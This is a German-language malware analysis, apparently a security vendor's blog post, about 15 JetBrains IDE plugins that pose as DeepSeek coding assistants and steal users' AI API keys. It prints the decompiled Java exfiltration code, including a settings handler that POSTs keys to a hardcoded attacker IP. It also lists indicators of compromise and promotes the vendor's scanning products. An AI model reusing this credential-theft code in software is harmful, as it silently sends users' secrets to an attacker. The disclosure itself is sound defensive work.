Wir haben eine koordinierte Malware-Kampagne auf dem JetBrains Marketplace entdeckt. Mindestens 15 IDE-Plugins, die unter sieben Anbieterkonten veröffentlicht wurden, weisen dasselbe versteckte Verhalten auf. Jedes einzelne dieser Plugins exfiltriert den API-Schlüssel des KI-Anbieters, den Sie in den Einstellungen hinterlegt haben, und insgesamt wurden sie fast 70.000 Mal installiert.
Jedes Plugin gibt vor, ein auf DeepSeek und anderen großen Sprachmodellen basierender KI-Programmierassistent zu sein, der Chat-Funktionen, Commit-Meldungen, Code-Reviews, Fehlererkennung und Unit-Tests bietet. Sie funktionieren genau so, wie beworben. Der von Ihnen eingegebene API-Schlüssel des KI-Anbieters wird jedoch auf einen vom Angreifer kontrollierten Server abgezogen.
Die ersten Versionen erschienen Ende Oktober 2025, und auch im Juni 2026 werden noch immer neue Versionen veröffentlicht. Die tatsächlichen Auswirkungen lassen sich nur schwer einschätzen, da die Downloadzahlen von den Anbietern leicht aufgebläht werden können und die Marktplatz-Einträge zudem gefälschte Fünf-Sterne-Bewertungen enthalten.
Die betroffenen Plugins sind am Ende des Artikels aufgeführt.
So funktioniert der Diebstahl
Alle fünfzehn Plugins basieren auf einer ähnlichen Codebasis, die für jedes Angebot umbenannt und neu gepackt wurde. Um eines davon zu nutzen, öffnen Sie das Einstellungsfenster und fügen einen API-Schlüssel eines Anbieters wie OpenAI, SiliconFlow oder DeepSeek ein. Das Plugin benötigt diesen Schlüssel, um das Modell in Ihrem Namen aufzurufen, sodass die Eingabe des Schlüssels wie eine Routineaufgabe wirkt.
Sobald Sie auf „Übernehmen“ klicken, speichert der Einstellungs-Handler Ihren Schlüssel und leitet ihn zudem mithilfe des save() Methode. Der Aufruf wird sofort bei der Tasteneingabe ausgelöst, ohne Eingabeaufforderung, ohne Bestätigungsbildschirm und ohne jeglichen Hinweis in der Benutzeroberfläche.
// runs inside the settings apply() handler, the instant you save your key
public static void save(String key) {
if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
SoftwareDto dto = new SoftwareDto();
dto.setApiKey(key); // your provider secret
BaseUtil.request("key", dto); // shipped off to the attacker server
}
}
// the network call that leaves your machine
URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
byte[] input = new Gson().toJson(vo).getBytes(StandardCharsets.UTF_8); // vo holds your apiKeyDas Ziel ist ein fest programmierter Server unter 39.107.60[.]51 Der Zugriff erfolgt über einfaches HTTP, wobei die Authentifizierung über ein statisches Token erfolgt, das fest im Plugin hinterlegt ist. Ihr Schlüssel wird im Klartext an eine Adresse gesendet, die in keinerlei Verbindung zu einem seriösen KI-Anbieter steht.
Die Plugins bieten auch eine kostenpflichtige Stufe an. Nachdem ein Nutzer über die im Plugin integrierte Spendenfunktion eine geringe Gebühr entrichtet hat, sendet der Server einen API-Schlüssel an den Client zurück, und das Plugin verwendet diesen Schlüssel fortan für seine Modellaufrufe anstelle Ihres eigenen – was seltsam ist, da kein seriöser Betreiber einem Nutzer einfach so einen funktionierenden und uneingeschränkten Schlüssel für einen kostenpflichtigen KI-Anbieter aushändigen würde.
WebResult webResult = BaseUtil.request("check", vo);
if (webResult.isSuccess()) {
key = data.getApiKey(); // a key handed back by the attacker server
}
// the plugin always prefers the server supplied key
public static String getKey() {
return StringUtils.defaultIfBlank(BaseState.key, Value.getKey());
}Eine mögliche Theorie lautet, dass eine Gruppe von Opfern ihre eigenen Schlüssel einfügt, die der Server dann sammelt. Eine zweite Gruppe bezahlt den Betreiber und erhält im Gegenzug einen funktionierenden Schlüssel. Bei den Schlüsseln, die an zahlende Nutzer ausgehändigt werden, könnte es sich durchaus um die Schlüssel handeln, die allen anderen gestohlen wurden, wodurch die Kampagne zu einem Dienst wird, der gestohlene API-Zugangsdaten anderer Personen weiterverkauft. Der Betreiber kassiert einerseits Geld und erhält andererseits kostenlose Zugangsdaten, während die rechtmäßigen Schlüsselbesitzer die Zeche zahlen.
Warum Angreifer es immer wieder auf IDEs abgesehen haben
Plugin-Ökosysteme von Editoren sind zu einem häufigen Ziel von Lieferkettenangriffe geworden, wobei laufende Kampagnen wie „GlassWorm“ VS Code ins Visier nehmen. Entwickelnde sind ein hochkarätiges Ziel, und die IDE steht dabei im Mittelpunkt. Sie enthält Quellcode, Cloud-Zugangsdaten, Signaturschlüssel und mittlerweile auch API-Schlüssel für kostenpflichtige KI-Dienste, die weiterverkauft oder zur Rechenleistung genutzt werden können. Ein Plugin läuft ohne Sandbox innerhalb der IDE – also in einem Tool, dem die Nutzer vertrauen und das sie den ganzen Tag über geöffnet lassen –, was es zu einem idealen Versteck für Code macht, der sich nur im Hintergrund missbräuchlich verhält.
JetBrains-Plugins durchlaufen zwar einen manuellen Überprüfungsprozess, bevor sie auf den Marktplatz gelangen, doch kann es dennoch vorkommen, dass ein kleiner Logikfehler, der in einem ansonsten funktionierenden Plugin verborgen ist, durchrutscht. Behandeln Sie ein Plugin genauso wie jede andere Abhängigkeit, die mit Ihren Berechtigungen ausgeführt wird, und seien Sie vorsichtig, wenn Sie langfristig gültige secrets Tools einfügen, die Sie nicht überprüft haben.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Indikatoren für Kompromittierung
Netzwerkindikatoren
- IP-Adresse des C2-Servers:
39.107.60[.]51
Betroffene Plugins (Name und Plugin-ID)
- DeepSeek-JUnit-Test (
org.sm.yms.toolkit) – 1.121 Downloads, veröffentlicht am 31.10.2025 - DeepSeek Git-Commit (
com.json.simple.kit) – 1.894 Downloads, veröffentlicht am 01.11.2025 - DeepSeek FindBugs (
org.bug.find.tools) – 1.485 Downloads, veröffentlicht am 09.11.2025 - DeepSeek AI Chat (
org.translate.ai.simple) – 1.317 Downloads, veröffentlicht am 23.11.2025 - DeepSeek Dev AI (
com.yy.test.ai.simple) – 740 Downloads, veröffentlicht am 30.11.2025 - DeepSeek AI Coding (
com.dev.ai.toolkit) – 450 Downloads, veröffentlicht am 06.12.2025 - KI FindBugs (
com.json.view.simple) – 623 Downloads, veröffentlicht am 14.12.2025 - KI-Git-Committer (
com.my.git.ai.kit) – 301 Downloads, veröffentlicht am 10.01.2026 - AI Coder-Testbericht (
org.check.ai.ds) – 735 Downloads, veröffentlicht am 11.01.2026 - DeepSeek Coder AI (
com.review.tool.code) – 3.498 Downloads, veröffentlicht am 15.01.2026 - AI Coder Assistant (
org.code.assist.dev.tool) – 319 Downloads, veröffentlicht am 01.02.2026 - DeepSeek-Codeüberprüfung (
com.coder.ai.dpt) – 278 Downloads, veröffentlicht am 18.04.2026 - CodeGPT KI-Assistent (
com.my.code.tools) – 25.571 Downloads, veröffentlicht am 09.06.2026 - DeepSeek AI Assist (
ord.cp.code.ai.kit) – 27.727 Downloads, veröffentlicht am 10.06.2026 - Einfaches Programmier-Tool (
com.dp.git.ai.tool) – 3.931 Downloads, keine Online-Versionen
Lieferantenkonten
- CodePilot (mycode)
- StackSmith (misshewei)
- CodeCrafter (keteme)
- CodeWeaver (simpledev)
- JetCode (himmelblau)
- DailyCode (dialycode)
- ZenCoder (947cb4c8-5db1-4cf0-8182-0aae7c433bb3)

